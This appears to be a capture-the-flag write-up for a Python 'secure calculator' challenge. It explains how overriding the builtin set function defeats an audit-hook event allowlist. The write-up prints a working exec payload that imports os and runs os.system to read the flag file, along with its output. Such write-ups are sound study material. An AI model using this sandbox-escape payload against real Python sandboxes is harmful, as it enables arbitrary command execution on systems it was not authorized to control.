# HAXLAB - Endgame Pwn
The challenge provided a python file implementing a secure calculator. It requires at least python 3.8.5 to run, as it makes use of audit hooks, which has been added along 3.8 and had some fixes in more recent versions.
The script is the same as in the previous version of the challenge, but it requires Remote Code Execution to obtain the content of ```flag2.txt```. The general approach followed in the previous challenge is not adequate, and additional techniques must be used.
An important approach is to list what is available in the builtins:``` >>> exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")0 __name__1 __doc__2 __package__3 __loader__4 __spec__5 __build_class__6 __import__7 abs8 all9 any10 ascii11 bin12 breakpoint13 callable14 chr15 compile16 delattr17 dir18 divmod19 eval20 exec21 format22 getattr23 globals24 hasattr25 hash26 hex27 id28 input29 isinstance30 issubclass31 iter32 len33 locals34 max35 min36 next37 oct38 ord39 pow40 print41 repr42 round43 setattr44 sorted45 sum46 vars47 None48 Ellipsis49 NotImplemented50 False51 True52 bool53 memoryview54 bytearray55 bytes56 classmethod57 complex58 dict59 enumerate60 filter61 float62 frozenset63 property64 int65 list66 map67 object68 range69 reversed70 set71 slice72 staticmethod73 str74 super75 tuple76 type77 zip78 __debug__79 BaseException80 Exception81 TypeError82 StopAsyncIteration83 StopIteration84 GeneratorExit85 SystemExit86 KeyboardInterrupt87 ImportError88 ModuleNotFoundError89 OSError90 EnvironmentError91 IOError92 EOFError93 RuntimeError94 RecursionError95 NotImplementedError96 NameError97 UnboundLocalError98 AttributeError99 SyntaxError100 IndentationError101 TabError102 LookupError103 IndexError104 KeyError105 ValueError106 UnicodeError107 UnicodeEncodeError108 UnicodeDecodeError109 UnicodeTranslateError110 AssertionError111 ArithmeticError112 FloatingPointError113 OverflowError114 ZeroDivisionError115 SystemError116 ReferenceError117 MemoryError118 BufferError119 Warning120 UserWarning121 DeprecationWarning122 PendingDeprecationWarning123 SyntaxWarning124 RuntimeWarning125 FutureWarning126 ImportWarning127 UnicodeWarning128 BytesWarning129 ResourceWarning130 ConnectionError131 BlockingIOError132 BrokenPipeError133 ChildProcessError134 ConnectionAbortedError135 ConnectionRefusedError136 ConnectionResetError137 FileExistsError138 FileNotFoundError139 IsADirectoryError140 NotADirectoryError141 InterruptedError142 PermissionError143 ProcessLookupError144 TimeoutError145 open146 quit147 exit148 copyright149 credits150 license151 help152 _```
We can use some of this entries, but if they trigger an audit event, they will mostly be blocked.The reason is that as two lines only allow events presented on a fixed set:```...    ALLOWED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})    if event not in ALLOWED_EVENTS:...```
While the code may seem to be fail proof, you can see that the use of ```set``` is not required to implement such filter. It is actually the attack vector.
Because we have access to ```globals()['__builtins__']```  we can redefine many core funtions, and we can redefine ```set```, providing an alternative implementation.
This implementation will ignore the argument provided an return a fixed set, with a content we can control. The content includes previous events and then the events we require to call a system command or to open a file. Basically we get full control over the program and can execute any code we want.
Because the objective is to demonstrate arbitrary RCE, our object is to include ```os.system``` and define ```set``` ```as lambda x: ['builtins.input', 'builtins.input/result','exec', 'os.system']```. 
The result is our payload, that will obtain the flag.```exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")```
Lets test it.
```======= HAXLAB - An advanced yet secure calculator =======Powered by Python 3.8.5 (default, Jan 27 2021, 15:41:15)[GCC 9.3.0]>>> exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('catflag2.txt')")sdctf{4ud1t_hO0ks_aR3_N0T_SaNDB0x35}```
This was solved minutes after the CTF :( 